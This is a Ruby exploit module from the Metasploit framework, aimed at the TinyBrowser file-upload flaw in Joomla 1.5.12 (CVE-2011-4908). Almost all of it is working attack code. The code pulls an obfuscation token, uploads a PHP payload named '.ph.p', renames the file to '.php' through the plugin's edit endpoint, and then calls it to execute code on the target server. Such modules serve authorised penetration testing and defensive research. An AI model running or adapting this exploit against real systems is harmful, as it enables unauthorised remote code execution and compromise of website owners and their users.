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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'Joomla 1.5.12 TinyBrowser File Upload Code Execution',
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      'Description'    => %q{
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          This module exploits a vulnerability in the TinyMCE/tinybrowser plugin.
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        This plugin is not secured in version 1.5.12 of joomla and allows the upload
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        of files on the remote server.
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        By renaming the uploaded file this vulnerability can be used to upload/execute
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        code on the affected system.
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      },
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      'Author'         => [ 'spinbad <spinbad.security[at]googlemail.com>' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2011-4908'],
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          ['OSVDB', '64578'],
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          ['EDB', '9296'],
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          ['URL', 'http://developer.joomla.org/security/news/301-20090722-core-file-upload.html'],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Compat'      =>
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            {
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              'ConnectionType' => 'find',
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            },
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          'Space'       => 1024,
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        },
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      'Platform'       => 'php',
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      'Arch'           => ARCH_PHP,
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      'Targets'        => [[ 'Automatic', { }]],
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      'DisclosureDate' => '2009-07-22',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('URI', [true, "Joomla directory path", "/"]),
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        ])
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  end
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  def check
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    uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php')
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    uri << '?type=file&folder='
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    res = send_request_raw(
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      {
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        'uri' => uri
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      }, 25)
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    if (res and res.body =~ /flexupload.swf/)
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      return Exploit::CheckCode::Appears
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def retrieve_obfuscation()
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  end
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  def exploit
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    cmd_php = '<?php ' + payload.encoded + '?>'
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    # Generate some random strings
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    cmdscript	= rand_text_alpha_lower(20)
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    boundary    = rand_text_alphanumeric(6)
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    # Static files
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    directory 	= '/images/stories/'
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    uri_base    = normalize_uri(datastore['URI'])
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    uri_base << '/' if uri_base[-1,1] != '/'
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    uri_base << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser'
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    # Get obfuscation code (needed to upload files)
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    obfuscation_code = nil
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    res = send_request_raw({
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      'uri'     => uri_base + '/upload.php?type=file&folder='
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    }, 25)
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    if (res)
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      if(res.body =~ /"obfus", "((\w)+)"\)/)
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        obfuscation_code = $1
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        print_good("Successfully retrieved obfuscation code: #{obfuscation_code}")
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      else
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        print_error("Error retrieving obfuscation code!")
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        return
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      end
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    end
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    # Upload shellcode (file ending .ph.p)
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    data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"Filename\"\r\n\r\n"
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    data << "#{cmdscript}.ph.p\r\n--#{boundary}"
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    data << "\r\nContent-Disposition: form-data; name=\"Filedata\"; filename=\"#{cmdscript}.ph.p\"\r\n"
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    data << "Content-Type: application/octet-stream\r\n\r\n"
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    data << cmd_php
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    data << "\r\n--#{boundary}--"
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    res = send_request_raw({
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      'uri'	  => uri_base + "/upload_file.php?folder=" + directory + "&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=",
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      'method'  => 'POST',
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      'data'    => data,
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      'headers' =>
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      {
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        'Content-Length' => data.length,
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        'Content-Type'	 => 'multipart/form-data; boundary=' + boundary,
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      }
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    }, 25)
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    if (res and res.body =~ /File Upload Success/)
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      print_good("Successfully Uploaded #{cmdscript}.ph.p")
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    else
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      print_error("Error uploading #{cmdscript}.ph.p")
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    end
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    # Complete the upload process (rename file)
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    print_status("Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p")
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    res = send_request_raw({
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      'uri'     => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'
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    })
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    # Rename the file from .ph.p to .php
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    res = send_request_cgi(
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      {
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        'method'    => 'POST',
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        'uri'       => uri_base + '/edit.php?type=file&folder=',
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        'vars_post' =>
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        {
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          'actionfile[0]' => "#{cmdscript}.ph.p",
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          'renameext[0]'   => 'p',
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          'renamefile[0]' => "#{cmdscript}.ph",
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          'sortby' => 'name',
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          'sorttype' => 'asc',
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          'showpage' => '0',
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          'action' => 'rename',
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          'commit' => '',
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        }
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      }, 10)
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    if (res and res.body =~ /successfully renamed./)
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      print_status("Renamed #{cmdscript}.ph.p to #{cmdscript}.php")
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    else
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      print_error("Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php")
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    end
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    # Finally call the payload
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    print_status("Calling payload: #{cmdscript}.php")
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    uri = normalize_uri(datastore['URI'])
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    uri << '/' if uri[-1,1] != '/'
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    uri << directory + cmdscript + ".php"
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    res = send_request_raw({
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      'uri'	=> uri
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    }, 25)
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  end
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end
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